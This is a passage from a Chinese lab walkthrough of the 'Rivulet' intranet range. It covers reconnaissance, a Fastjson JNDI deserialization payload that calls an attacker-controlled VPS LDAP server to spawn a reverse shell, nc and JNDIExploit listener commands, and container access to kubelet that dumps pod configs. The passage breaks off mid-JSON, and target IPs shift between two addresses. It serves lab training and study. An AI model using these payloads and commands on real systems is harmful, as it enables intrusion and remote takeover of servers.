靶场概述: Rivulet 是一套内网靶场环境,共 4 个 flag,分布在 4 台机器上。考察信息收集、Web 漏洞利用、Kubernetes 逃逸、内网横向移动等能力。
攻击链总览:
外网 Web (Fastjson RCE) → K8s 容器 → kubelet 未授权 → 窃取 PKI 证书 → 伪造 admin 证书 → 创建特权 Pod → 宿主机 (flag01) ↓ fscan 扫内网 ↓ 192.168.1.123:8000 SQL注入 192.168.1.83 MS17-010 → 域控 DC01 (flag04) 192.168.1.112 域管 hash 横向

一、信息收集
1.1 端口扫描
./fscan_mac_arm64 -h 8.130.80.176 1-65535
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.3
start infoscan
8.130.80.176:22 open
8.130.80.176:8080 open
8.130.80.176:2379 open
8.130.80.176:10250 open
[*] alive ports len is: 4
第一台8.160.112.137
1.2 端口分析
2379是 etcd 的默认端口。etcd 是 Kubernetes 集群的后端数据库,存储了所有集群数据(包括 secrets、configmaps)。如果 etcd 暴露且未授权,可以直接读取集群所有凭据。10250是 kubelet API 的默认端口。kubelet 是每个 K8s 节点上运行的代理,负责管理 Pod。如果 kubelet 未授权访问,可以在任意 Pod 中执行命令(相当于容器级别的 RCE)。- 看到这两个端口,基本可以判断这是一台 Kubernetes 节点,后续的攻击思路就是:Web 打进容器 → 利用 K8s 配置不当逃逸到宿主机。
1.3 初步探测 10250 端口
# curl = 命令行 HTTP 客户端
# -s = silent,不显示进度条
# -k = insecure,跳过 SSL 证书验证(kubelet 用自签证书)
curl -sk https://8.160.112.137:10250/
返回:
<h1>403 Forbidden</h1>
Access denied by nginx whitelist.
<br>
Please access via the correct IP address.
为什么要探测这个?为什么要加
-k?
- kubelet 使用 HTTPS(自签名证书),如果不加
-k,curl 会因为证书不可信而拒绝连接- 确认 kubelet 确实在运行,但前端有 nginx 白名单限制,只允许特定 IP 访问
- 这意味着我们不能从外网直接利用 kubelet,但如果能在内网(容器内部)访问,就能绕过这个白名单
- 这是后续攻击的关键思路:先进容器,再打 kubelet
1.4 探测 6443 端口(K8s API Server)
# 访问 K8s API Server 的 /api 路径
# 6443 是 K8s API Server 的默认 HTTPS 端口
# -s -k 同上
curl -sk https://8.130.80.176:6443/api
返回:
{
"kind": "Status",
"apiVersion": "v1",
"status": "Failure",
"message": "forbidden: User \"system:anonymous\" cannot get path \"/api\"",
"code": 403
}
"kind": "Status"→ 这是 K8s API 的标准响应格式(Status 对象)"User \"system:anonymous\"→ 我们没有提供任何认证,被识别为匿名用户"code": 403→ Forbidden,匿名用户无权访问这说明
- 6443 端口确实运行着 Kubernetes API Server
- 但 API Server 配置了 RBAC(基于角色的访问控制),匿名用户被拒
- 如果有合法的客户端证书(CN+O 字段匹配 K8s 用户/组),就能以对应身份操作 K8s API
- 这是后续"伪造 admin 证书"攻击的前提——只要有证书,就能绕过认证
二、 Fastjson 反序列化 RCE
2.1 登录页面
访问 http://8.130.80.176:8080/login,看到登录框。

- 登录页面 HTML 中存在
th:if="${error}"—— 这是 Thymeleaf 模板引擎的语法,确认后端是 Spring Boot(Java)- 登录响应中设置了
rememberMe=deleteMe—— 这是 Apache Shiro 框架的典型特征(Shiro 在认证失败时设置此 cookie 来清除 rememberMe)
2.2 尝试 Shiro 反序列化(失败)
尝试使用 Shiro 爆破密钥

结果:密钥爆破不出来,Shiro 这条路走不通。
2.3 任意登录 + 发现 Create Post 功能
使用任意账号密码(如 1/1)登录成功,发现有一个 Create Post 功能。

抓包发现请求格式:
POST /create HTTP/1.1
Host: 8.130.80.176:8080
Content-Type: application/json
Cookie: JSESSIONID=47ADD70A545E5DE7A8D2F544EB7B56BD
{"title":"test666","content":"test123"}
- Content-Type 是
application/json—— 后端用 JSON 解析请求体title和content是用户完全可控的输入- Java 生态中处理 JSON 的库有 Jackson、Gson、Fastjson 等
- 如果后端用的是 Fastjson,我们可以通过构造特殊的 JSON payload 实现远程代码执行(RCE)
2.4 检测 Fastjson —— 证实存在漏洞
检测思路:
Fastjson 有一个独有的特性叫 AutoType(自动类型),允许在 JSON 中通过
@type字段指定要反序列化的 Java 类。如果后端用的是 Fastjson 且开启了 AutoType,我们传入@type后,Fastjson 会尝试实例化指定的类。如果类不存在或实例化失败,会抛出异常导致 500 错误。其他 JSON 库(Jackson、Gson)不认识
@type字段,会将其当作普通字段处理,不会报错。
测试 1:传入正常 JSON 对象
{"title":{"foo":"bar"},"content":"hello"}
结果:302 → /posts(成功)
这说明服务端能接受 JSON 对象作为
title的值,而不是只能接受字符串。
测试 2:插入 @type 字段(存在的类)
{"title":{"@type":"java.lang.Integer"},"content":"hello"}
结果:500 Internal Server Error

500 错误说明 Fastjson 尝试将字符串反序列化为
Integer类型时失败了——它确实在处理@type字段!
测试 3:@type 指向不存在的类
{"title":{"@type":"com.fake.safds"},"content":"test"}
结果:500 Internal Server Error
不存在的类名也触发 500,说明 Fastjson 尝试加载类时失败抛异常。
测试 4:content 字段也支持 @type
{"title":"normal","content":{"@type":"java.lang.Integer"}}
结果:500 Internal Server Error
content字段同样被 Fastjson 处理,两个字段都可以作为注入点。
结论判定:
- 服务端能正常处理 JSON 对象作为字段值(测试 1 返回 302)
- 只要出现
@type字段就报错(测试 2/3/4 返回 500) @type是 Fastjson 独有的 AutoType 特性,Jackson/Gson 不识别- 不存在的类名也触发 500,说明 Fastjson 尝试加载类时失败抛异常
判定:后端使用 Fastjson 进行 JSON 反序列化,且 AutoType 功能开放。
这意味着什么? Fastjson 的 AutoType 允许我们指定任意 Java 类进行实例化。如果配合
com.sun.rowset.JdbcRowSetImpl等恶意类,可以让目标服务器连接我们控制的 LDAP/RMI 服务器,加载恶意类,实现远程代码执行(RCE)。
2.5 利用 Fastjson + JNDI 反弹 Shell
攻击原理:
- JNDI(Java Naming and Directory Interface) 是 Java 的命名与目录接口,允许 Java 程序通过 JNDI 查找远程对象
- JdbcRowSetImpl 是 Java 自带的 JDBC 行集实现类,它的
dataSourceName属性支持 JNDI 查找- 当 Fastjson 反序列化
JdbcRowSetImpl并设置autoCommit=true时,它会触发connect()方法connect()方法会去连接dataSourceName指定的 LDAP/RMI 服务器- 我们的恶意 LDAP 服务器返回一个 Reference 对象,指向一个远程 Java 类
- 目标服务器加载并执行这个类 → RCE
Payload 结构解释:
{ "a": {"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}, "b": {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://攻击机IP:1389/...", "autoCommit":true} }
a使用java.lang.Class的方式先加载JdbcRowSetImpl类(这是 Fastjson 1.2.48+ 的绕过技巧,因为直接@type: JdbcRowSetImpl可能被黑名单拦截)b真正触发 JNDI 注入:dataSourceName指向我们的恶意 LDAP 服务器,autoCommit=true触发连接
第 1 步:在 VPS 上启动 JNDIExploit 和 nc 监听
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i vps服务器的ip -l 1389 -p 8000
# -i vps服务器的ip → 指定本机(VPS)的公网 IP,用于生成 LDAP URL 中的主机部分
# -l 1389 → LDAP 服务监听端口(1389 是 LDAP 默认端口)
# -p 8000 → HTTP 服务端口,用于托管恶意 .class 文件
# 当目标通过 JNDI 查询 LDAP 时,JNDIExploit 返回一个 Reference
# Reference 指向 http://vps服务器的ip:8000/ 上的恶意类
# 目标 JVM 会下载并执行这个类 → RCE
nc -lvnp 9001
JNDIExploit 的完整工作流程:
- 目标的 Fastjson 触发 JNDI 查询 → 连接
ldap://vps服务器的ip:1389/Basic/ReverseShell/vps服务器的ip/9001- JNDIExploit 收到 LDAP 请求,根据 URL 路径
/Basic/ReverseShell/vps服务器的ip/9001判断:
Basic= 使用 Basic 反序列化方式ReverseShell= 反弹 shellvps服务器的ip/9001= 反弹到的地址和端口- JNDIExploit 返回一个 LDAP Reference,指向一个恶意 Java 类
- 目标 JVM 下载该类并实例化 → 执行反弹 shell 代码
- shell 连接到
vps服务器的ip:9001→ nc 收到连接
第 2 步:发送 Fastjson 反序列化 Payload
POST /create HTTP/1.1
Host: 8.160.112.137:8080
Content-Type: application/json
Priority: u=0
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0
Cookie: JSESSIONID=F09BF4360FEC557F37C0F19826C074D2
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Referer: http://8.130.80.176:8080/create
Origin: http://8.130.80.176:8080
Content-Length: 36
{
"title": "jndi-rshell-cc-9001",
"content": {
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://vps服务器的ip:1389/Basic/ReverseShell/vps服务器的ip/9001",
"autoCommit": true
}
}
}
# ===== Payload 逐字段解释 =====
#
# "content" 字段包含一个 JSON 对象(而不是字符串),Fastjson 会反序列化它
#
# "a" 的作用:Fastjson 1.2.48+ 的 AutoType 黑名单绕过
# @type = "java.lang.Class" → 告诉 Fastjson 这是一个 Class 类型的反序列化
# val = "com.sun.rowset.JdbcRowSetImpl" → 要加载的类名
# 为什么需要这步?因为直接 @type:JdbcRowSetImpl 可能被 Fastjson 的黑名单拦截
# 但 java.lang.Class 不在黑名单中,通过它先让 Fastjson 加载 JdbcRowSetImpl 类
# 这样第二步 "b" 就能成功实例化这个类
#
# "b" 的作用:真正触发 JNDI 注入
# @type = "com.sun.rowset.JdbcRowSetImpl" → Java 自带的 JDBC 行集实现类
# dataSourceName = "ldap://攻击机:1389/路径" → JNDI 查找地址
# 当 Fastjson 设置这个属性时,JdbcRowSetImpl 会将这个值存到内部字段
# autoCommit = true → 触发 connect() 方法
# autoCommit 是 JdbcRowSetImpl 的一个 setter,Fastjson 反序列化时会调用 setAutoCommit(true)
# setAutoCommit(true) 内部会调用 connect(),connect() 会去 JNDI 查找 dataSourceName
# → 连接我们的恶意 LDAP 服务器 → 加载恶意类 → RCE
发生了什么?
- Fastjson 解析 JSON 时遇到
@type: JdbcRowSetImpl,实例化该类- 设置
dataSourceName为我们的 LDAP 地址- 设置
autoCommit=true触发connect()方法- 目标服务器连接
vps服务器的ip:1389(我们的 JNDIExploit)- JNDIExploit 返回
Basic/ReverseShell类型的 payload- 目标服务器执行该 payload → 反弹 shell 到
vps服务器的ip:9001
VPS 的 nc 窗口收到 shell:

2.6 升级为交互式 Shell
为什么要升级?
nc 反弹回来的是一个非交互式的 /bin/sh,功能非常有限:
- 没有命令提示符、没有 Tab 补全
- Ctrl+C 会直接断开 shell
- 无法运行
su、sudo、vim等需要 TTY 的程序所以需要升级为完整的 TTY shell。
第 1 步:用 Python 生成伪终端
python -c 'import pty; pty.spawn("/bin/bash")'
pty.spawn()会创建一个伪终端(pseudo-TTY),让我们获得一个更接近真实终端的环境。
第 2 步:设置终端环境变量
export TERM=xterm-256color
设置终端类型为 xterm-256color,确保
clear、vim等程序能正常工作。
第 3 步:将 shell 变为前台进程
在 nc 监听的终端中按 Ctrl+Z 挂起,然后在本地终端执行:
stty raw -echo; fg
stty raw:将本地终端设为 raw 模式(关闭行缓冲,所有按键直接发送)stty -echo:关闭本地回显(否则你输入的字符会显示两次)fg:把挂起的 nc 进程恢复到前台此时你就拥有了一个完全交互式的 shell:Tab 补全、方向键历史、Ctrl+C 不会断开。
三、容器内信息收集 —— 发现 Kubernetes 环境
3.1 确认当前环境
root@52a205b59ba8:/# ls -la /
total 2680
drwxr-xr-x 1 root root 4096 Jun 1 11:44 .
drwxr-xr-x 1 root root 4096 Jun 1 11:44 ..
-rwxr-xr-x 1 root root 0 Apr 5 08:44 .dockerenv
.dockerenv文件的存在说明我们当前处于一个 Docker 容器中,不是宿主机。现在的问题变成了:如何从容器逃逸到宿主机?
3.2 回顾端口信息,制定逃逸策略
| 端口 | 服务 | 利用价值 |
|---|---|---|
| 22 | SSH | 需要凭据 |
| 8080 | Web 应用 | 已拿到容器 shell |
| 2379 | etcd | K8s 核心存储,可读 secrets/创建 pod |
| 10250 | kubelet API | 在任意 pod 执行命令 |
攻击思路:
- 前面发现外网访问 10250 被 nginx 白名单拦截(403)
- 但现在我们已经在容器内部了,容器和 kubelet 在同一个内网
- 从容器内部访问 kubelet,可以绕过 nginx 的 IP 白名单
- kubelet API 如果未授权,就能在任意 Pod 中执行命令
- 我们可以借此进入
kube-apiserverPod,窃取 K8s PKI 证书- 有了 CA 证书和私钥,可以伪造一个 cluster-admin 的客户端证书
- 用伪造的证书调用 K8s API,创建一个特权 Pod(挂载宿主机根目录)
- 在特权 Pod 中读写宿主机文件 → 逃逸成功
四、Kubernetes 逃逸 —— 从容器到宿主机
4.1 从容器内访问 kubelet(绕过白名单)
# ip route = 显示 Linux 路由表
# grep default = 过滤出默认路由(即网关)
# 输出 "default via 172.17.0.1" 表示:
# 所有不在本地网段的数据包,都发给 172.17.0.1(网关)
# 172.17.0.1 就是宿主机在 Docker 网桥(docker0)上的 IP
# 因为容器通过 docker0 网桥和宿主机通信,所以 172.17.0.1 = 宿主机
ip route | grep default
# 输出: default via 172.17.0.1 dev eth0
172.17.0.1是 Docker 网桥(docker0)的网关地址,也就是宿主机在 Docker 网络中的 IP。 从容器内部访问这个 IP,请求的源 IP 是172.17.0.x(容器自身的 IP),nginx 白名单可能放行这个网段。
# curl -sk = 跳过 SSL 验证 + 静默模式(前面解释过)
# https://172.17.0.1:10250/pods
# 172.17.0.1 = 宿主机内网 IP(从容器角度看到的网关)
# :10250 = kubelet API 默认端口
# /pods = kubelet 的 API 端点,返回当前节点上所有 Pod 的完整配置
#
# 为什么用 172.17.0.1 而不是 8.130.80.176?
# 因为从容器内部,外网 IP 可能走不同的路由,而且 nginx 白名单只允许内网 IP 访问
# 用 172.17.0.1 走的是 Docker 内部网络,nginx 看到的源 IP 是 172.17.0.x → 在白名单内
root@web:~# curl -sk https://172.17.0.1:10250/pods
{"kind":"PodList","apiVersion":"v1","metadata":{},"items":[{"metadata":{"name":"etcd-web","namespace":"kube-system","selfLink":"/api/v1/namespaces/kube-system/pods/etcd-web","uid":"5a5c733754817033fbac18a841a4281f","creationTimestamp":null,"labels":{"component":"etcd","tier":"control-plane"},"annotations":{"kubernetes.io/config.hash":"5a5c733754817033fbac18a841a4281f","kubernetes.io/config.seen":"2026-06-03T20:52:59.304459742Z","kubernetes.io/config.source":"file"}},"spec":{"volumes":[{"name":"etcd-certs","hostPath":{"path":"/etc/kubernetes/pki/etcd","type":"DirectoryOrCreate"}},{"name":"etcd-data","hostPath":{"path":"/var/lib/etcd","type":"DirectoryOrCreate"}}],"containers":[{"name":"etcd","image":"registry.aliyuncs.com/google_containers/etcd:3.3.15-0","command":["etcd","--advertise-client-urls=https://192.168.1.56:2379","--cert-file=/etc/kubernetes/pki/etcd/server.crt","--client-cert-auth=true","--data-dir=/var/lib/etcd","--initial-advertise-peer-urls=https://192.168.1.56:2380","--initial-cluster=web=https://192.168.1.56:2380","--key-file=/etc/kubernetes/pki/etcd/server.key","--listen-client-urls=https://127.0.0.1:2379,https://192.168.1.56:2379","--listen-metrics-urls=http://127.0.0.1:2381","--listen-peer-urls=https://192.168.1.56:2380","--name=web","--peer-cert-file=/etc/kubernetes/pki/etcd/peer.crt","--peer-client-cert-auth=true","--peer-key-file=/etc/kubernetes/pki/etcd/peer.key","--peer-trusted-ca-file=/etc/kubernetes/pki/etcd/ca.crt","--snapshot-count=10000","--trusted-ca-file=/etc/kubernetes/pki/etcd/ca.crt"],"resources":{},"volumeMounts":[{"name":"etcd-data","mountPath":"/var/lib/etcd"},{"name":"etcd-certs","mountPath":"/etc/kubernetes/pki/etcd"}],"livenessProbe":{"httpGet":{"path":"/health","port":2381,"host":"127.0.0.1","scheme":"HTTP"},"initialDelaySeconds":15,"timeoutSeconds":15,"periodSeconds":10,"successThreshold":1,"failureThreshold":8},"terminationMessagePath":"/dev/termination-log","terminationMessagePolicy":"File","imagePullPolicy":"IfNotPresent"}],"restartPolicy":"Always","terminationGracePeriodSeconds":30,"dnsPolicy":"ClusterFirst","nodeName":"web","hostNetwork":true,"securityContext":{},"schedulerName":"default-scheduler","tolerations":[{"operator":"Exists","effect":"NoExecute"}],"priorityClassName":"system-cluster-critical","enableServiceLinks":true},"status":{"phase":"Running","conditions":[{"type":"Initialized","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-06-03T12:53:20Z"},{"type":"Ready","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-06-03T12:53:23Z"},{"type":"ContainersReady","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-06-03T12:53:23Z"},{"type":"PodScheduled","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-06-03T12:53:20Z"}],"hostIP":"192.168.1.56","podIP":"192.168.1.56","podIPs":[{"ip":"192.168.1.56"}],"startTime":"2026-06-03T12:53:20Z","containerStatuses":[{"name":"etcd","state":{"running":{"startedAt":"2026-06-03T12:53:23Z"}},"lastState":{"terminated":{"exitCode":255,"reason":"Error","startedAt":"2026-04-17T17:26:41Z","finishedAt":"2026-06-03T20:52:56Z","containerID":"docker://bd6a3baebedcef40afb60505307135c3fcbc18f108db1ac5b6c030b74c3d7e83"}},"ready":true,"restartCount":9,"image":"registry.aliyuncs.com/google_containers/etcd:3.3.15-0","imageID":"docker-pullable://registry.aliyuncs.com/google_containers/etcd@sha256:12c2c5e5731c3bcd56e6f1c05c0f9198b6f06793fa7fca2fb43aab9622dc4afa","containerID":"docker://fa3d0ce50715e2d7b7fa5739060f305df27fd46fa279173e9e233ddcaea0a2ff","started":true}],"qosClass":"BestEffort"}},{"metadata":{"name":"kube-scheduler-web","namespace":"kube-system","selfLink":"/api/v1/namespaces/kube-system/pods/kube-scheduler-web","uid":"2a528eea0130758e2a9e516b17b74d35","creationTimestamp":null,"labels":{"component":"kube-scheduler","tier":"control-plane"},"annotations":{"kubernetes.io/config.hash":"2a528eea0130758e2a9e516b17b74d35","kubernetes.io/config.seen":"2026-06-03T20:52:59.304472074Z","kubernetes.io/config.source":"file"}},"spec":{"volumes":[{"name":"kubeconfig","hostPath":{"path":"/etc/kubernetes/scheduler.conf","type":"FileOrCreate"}}],"containers":[{"name":"kube-scheduler","image":"registry.aliyuncs.com/google_containers/kube-scheduler:v1.16.5","command":["kube-scheduler","--authentication-kubeconfig=/etc/kubernetes/scheduler.conf","--authorization-kubeconfig=/etc/kubernetes/scheduler.conf","--bind-address=127.0.0.1","--kubeconfig=/etc/kubernetes/scheduler.conf","--leader-elect=true"],"resources":{"requests":{"cpu":"100m"}},"volumeMounts":[{"name":"kubeconfig","readOnly":true,"mountPath":"/etc/kubernetes/scheduler.conf"}],"livenessProbe":{"httpGet":{"path":"/healthz","port":10251,"host":"127.0.0.1","scheme":"HTTP"},"initialDelaySeconds":15,"timeoutSeconds":15,"periodSeconds":10,"successThreshold":1,"failureThreshold":8},"terminationMessagePath":"/dev/termination-log","terminationMessagePolicy":"File","imagePullPolicy":"IfNotPresent"}],"restartPolicy":"Always","terminationGracePeriodSeconds":30,"dnsPolicy":"ClusterFirst","nodeName":"web","hostNetwork":true,"securityContext":{},"schedulerName":"default-scheduler","tolerations":[{"operator":"Exists","effect":"NoExecute"}],"priorityClassName":"system-cluster-critical","enableServiceLinks":true},"status":{"phase":"Running","conditions":[{"type":"Initialized","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-06-03T12:53:20Z"},{"type":"Ready","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-06-03T12:53:23Z"},{"type":"ContainersReady","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-06-03T12:53:23Z"},{"type":"PodScheduled","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-06-03T12:53:20Z"}],"hostIP":"192.168.1.56","podIP":"192.168.1.56","podIPs":[{"ip":"192.168.1.56"}],"startTime":"2026-06-03T12:53:20Z","containerStatuses":[{"name":"kube-scheduler","state":{"running":{"startedAt":"2026-06-03T12:53:23Z"}},"lastState":{"terminated":{"exitCode":255,"reason":"Error","startedAt":"2026-04-17T17:26:41Z","finishedAt":"2026-06-03T20:52:56Z","containerID":"docker://69cd8f48ef273a80a2c5b5af45692978bd34b1bf4e701c5babf1ce8f21669ab2"}},"ready":true,"restartCount":10,"image":"registry.aliyuncs.com/google_containers/kube-scheduler:v1.16.5","imageID":"docker-pullable://registry.aliyuncs.com/google_containers/kube-scheduler@sha256:8f20c90afce972ae51acaf425b7bdb6445f54168b52ea311b2b89adf5db1acac","containerID":"docker://ddf055387701d9b5f0d8b7f37994b777cedaea1ba5713a62233d15b3adfeb9a6","started":true}],"qosClass":"Burstable"}},{"metadata":{"name":"test-pod","namespace":"default","selfLink":"/api/v1/namespaces/default/pods/test-pod","uid":"1466834b-5bce-405c-ba6c-7ffaf626271d","resourceVersion":"8310","creationTimestamp":"2026-06-03T13:09:46Z","annotations":{"kubernetes.io/config.seen":"2026-06-03T13:09:46.11016509Z","kubernetes.io/config.source":"api"}},"spec":{"volumes":[{"name":"hostroot","hostPath":{"path":"/","type":"Directory"}},{"name":"default-token-4k8dl","secret":{"secretName":"default-token-4k8dl","defaultMode":420}}],"containers":[{"name":"hostsh","image":"shiro-web:latest","command":["/bin/sh","-c","sleep 36000"],"resources":{},"volumeMounts":[{"name":"hostroot","mountPath":"/host"},{"name":"default-token-4k8dl","readOnly":true,"mountPath":"/var/run/secrets/kubernetes.io/serviceaccount"}],"terminationMessagePath":"/dev/termination-log","terminationMessagePolicy":"File","imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}],"restartPolicy":"Never","terminationGracePeriodSeconds":30,"dnsPolicy":"ClusterFirst","serviceAccountName":"default","serviceAccount":"default","nodeName":"web","hostNetwork":true,"hostPID":true,"securityContext":{},"schedulerName":"default-scheduler","tolerations":[{"key":"node.kubernetes.io/not-ready","operator":"Exists","effect":"NoExecute","tolerationSeconds":300},{"key":"node.kubernetes.io/unreachable","operator":"Exists","effect":"NoExecute","tolerationSeconds":300}],"priority":0,"enableServiceLinks":true},"status":{"phase":"Running","conditions":[{"type":"Initialized","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-06-03T13:09:46Z"},{"type":"Ready","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-06-03T13:09:47Z"},{"type":"ContainersReady","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-06-03T13:09:47Z"},{"type":"PodScheduled","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-06-03T13:09:46Z"}],"hostIP":"192.168.1.56","podIP":"192.168.1.56","podIPs":[{"ip":"192.168.1.56"}],"startTime":"2026-06-03T13:09:46Z","containerStatuses":[{"name":"hostsh","state":{"running":{"startedAt":"2026-06-03T13:09:46Z"}},"lastState":{},"ready":true,"restartCount":0,"image":"shiro-web:latest","imageID":"docker://sha256:6a0d803c0fcaf4452dbe00f06ce9c0dc79af84f018bc94a16b2fb48a5c7d90f8","containerID":"docker://94680a7408797bd1c7976d5509ff64f847d6820340bb55a4511a4d0691428a60","started":true}],"qosClass":"BestEffort"}},{"metadata":{"name":"kube-apiserver-web","namespace":"kube-system","selfLink":"/api/v1/namespaces/kube-system/pods/kube-apiserver-web","uid":"b269709cbe90ff42cbcdc86d9df1e59c","creationTimestamp":null,"labels":{"component":"kube-apiserver","tier":"control-plane"},"annotations":{"kubernetes.io/config.hash":"b269709cbe90ff42cbcdc86d9df1e59c","kubernetes.io/config.seen":"2026-06-03T20:52:59.304467648Z","kubernetes.io/config.source":"file"}},"spec":{"volumes":[{"name":"ca-certs","hostPath":{"path":"/etc/ssl/certs","type":"DirectoryOrCreate"}},{"name":"etc-ca-certificates","hostPath":{"path":"/etc/ca-certificates","type":"DirectoryOrCreate"}},{"name":"k8s-certs","hostPath":{"path":"/etc/kubernetes/pki","type":"DirectoryOrCreate"}},{"name":"usr-local-share-ca-certificates","hostPath":{"path":"/usr/local/share/ca-certificates","type":"DirectoryOrCreate"}},{"name":"usr-share-ca-certificates","hostPath":{"path":"/usr/share/ca-certificates","type":"DirectoryOrCreate"}}],"containers":[{"name":"kube-apiserver","image":"registry.aliyuncs.com/google_containers/kube-apiserver:v1.16.5","command":["kube-apiserver","--advertise-address=192.168.1.56","--allow-privileged=true","--authorization-mode=Node,RBAC","--bind-address=192.168.1.56","--client-ca-file=/etc/kubernetes/pki/ca.crt","--enable-admission-plugins=NodeRestriction","--enable-bootstrap-token-auth=true","--etcd-cafile=/etc/kubernetes/pki/etcd/ca.crt","--etcd-certfile=/etc/kubernetes/pki/apiserver-etcd-client.crt","--etcd-keyfile=/etc/kubernetes/pki/apiserver-etcd-client.key","--etcd-servers=https://127.0.0.1:2379","--insecure-port=0","--kubelet-client-certificate=/etc/kubernetes/pki/apiserver-kubelet-client.crt","--kubelet-client-key=/etc/kubernetes/pki/apiserver-kubelet-client.key","--kubelet-preferred-address-types=InternalIP,ExternalIP,Hostname","--proxy-client-cert-file=/etc/kubernetes/pki/front-proxy-client.crt","--proxy-client-key-file=/etc/kubernetes/pki/front-proxy-client.key","--requestheader-allowed-names=front-proxy-client","--requestheader-client-ca-file=/etc/kubernetes/pki/front-proxy-ca.crt","--requestheader-extra-headers-prefix=X-Remote-Extra-","--requestheader-group-headers=X-Remote-Group","--requestheader-username-headers=X-Remote-User","--secure-port=6443","--service-account-key-file=/etc/kubernetes/pki/sa.pub","--service-cluster-ip-range=10.96.0.0/12","--tls-cert-file=/etc/kubernetes/pki/apiserver.crt","--tls-private-key-file=/etc/kubernetes/pki/apiserver.key"],"resources":{"requests":{"cpu":"250m"}},"volumeMounts":[{"name":"ca-certs","readOnly":true,"mountPath":"/etc/ssl/certs"},{"name":"etc-ca-certificates","readOnly":true,"mountPath":"/etc/ca-certificates"},{"name":"k8s-certs","readOnly":true,"mountPath":"/etc/kubernetes/pki"},{"name":"usr-local-share-ca-certificates","readOnly":true,"mountPath":"/usr/local/share/ca-certificates"},{"name":"usr-share-ca-certificates","readOnly":true,"mountPath":"/usr/share/ca-certificates"}],"livenessProbe":{"httpGet":{"path":"/healthz","port":6443,"host":"192.168.1.56","scheme":"HTTPS"},"initialDelaySeconds":15,"timeoutSeconds":15,"periodSeconds":10,"successThreshold":1,"failureThreshold":8},"terminationMessagePath":"/dev/termination-log","terminationMessagePolicy":"File","imagePullPolicy":"IfNotPresent"}],"restartPolicy":"Always","terminationGracePeriodSeconds":30,"dnsPolicy":"ClusterFirst","nodeName":"web","hostNetwork":true,"securityContext":{},"schedulerName":"default-scheduler","tolerations":[{"operator":"Exists","effect":"NoExecute"}],"priorityClassName":"system-cluster-critical","enableServiceLinks":true},"status":{"phase":"Running","conditions":[{"type":"Initialized","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-06-03T12:53:20Z"},{"type":"Ready","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-06-03T12:53:23Z"},{"type":"ContainersReady","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-06-03T12:53:23Z"},{"type":"PodScheduled","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-06-03T12:53:20Z"}],"hostIP":"192.168.1.56","podIP":"192.168.1.56","podIPs":[{"ip":"192.168.1.56"}],"startTime":"2026-06-03T12:53:20Z","containerStatuses":[{"name":"kube-apiserver","state":{"running":{"startedAt":"2026-06-03T12:53:23Z"}},"lastState":{"terminated":{"exitCode":255,"reason":"Error","startedAt":"2026-04-17T17:26:41Z","finishedAt":"2026-06-03T20:52:56Z","containerID":"docker://91466a17b6887e674e4a083a273f9e2ea766b0d3230d3e6bd9a2f8fd72cb4267"}},"ready":true,"restartCount":9,"image":"registry.aliyuncs.com/google_containers/kube-apiserver:v1.16.5","imageID":"docker-pullable://registry.aliyuncs.com/google_containers/kube-apiserver@sha256:1ec8f8d41f67f3263b86d71f3a7d3d925b2458dd14292baecfbdf18c234a1855","containerID":"docker://c102c6a5dfc2fc191d0095e605dac2975cacd39572bb796e9467d4b96c613a93","started":true}],"qosClass":"Burstable"}},{"metadata":{"name":"kube-controller-manager-web","namespace":"kube-system","selfLink":"/api/v1/namespaces/kube-system/pods/kube-controller-manager-web","uid":"f50eab22113ed55f640ed65722a1b225","creationTimestamp":null,"labels":{"component":"kube-controller-manager","tier":"control-plane"},"annotations":{"kubernetes.io/config.hash":"f50eab22113ed55f640ed65722a1b225","kubernetes.io/config.seen":"2026-06-03T20:52:59.304470031Z","kubernetes.io/config.source":"file"}},"spec":{"volumes":[{"name":"ca-certs","hostPath":{"path":"/etc/ssl/certs","type":"DirectoryOrCreate"}},{"name":"etc-ca-certificates","hostPath":{"path":"/etc/ca-certificates","type":"DirectoryOrCreate"}},{"name":"flexvolume-dir","hostPath":{"path":"/usr/libexec/kubernetes/kubelet-plugins/volume/exec","type":"DirectoryOrCreate"}},{"name":"k8s-certs","hostPath":{"path":"/etc/kubernetes/pki","type":"DirectoryOrCreate"}},{"name":"kubeconfig","hostPath":{"path":"/etc/kubernetes/controller-manager.conf","type":"FileOrCreate"}},{"name":"usr-local-share-ca-certificates","hostPath":{"path":"/usr/local/share/ca-certificates","type":"DirectoryOrCreate"}},{"name":"usr-share-ca-certificates","hostPath":{"path":"/usr/share/ca-certificates","type":"DirectoryOrCreate"}}],"containers":[{"name":"kube-controller-manager","image":"registry.aliyuncs.com/google_containers/kube-controller-manager:v1.16.5","command":["kube-controller-manager","--allocate-node-cidrs=true","--authentication-kubeconfig=/etc/kubernetes/controller-manager.conf","--authorization-kubeconfig=/etc/kubernetes/controller-manager.conf","--bind-address=127.0.0.1","--client-ca-file=/etc/kubernetes/pki/ca.crt","--cluste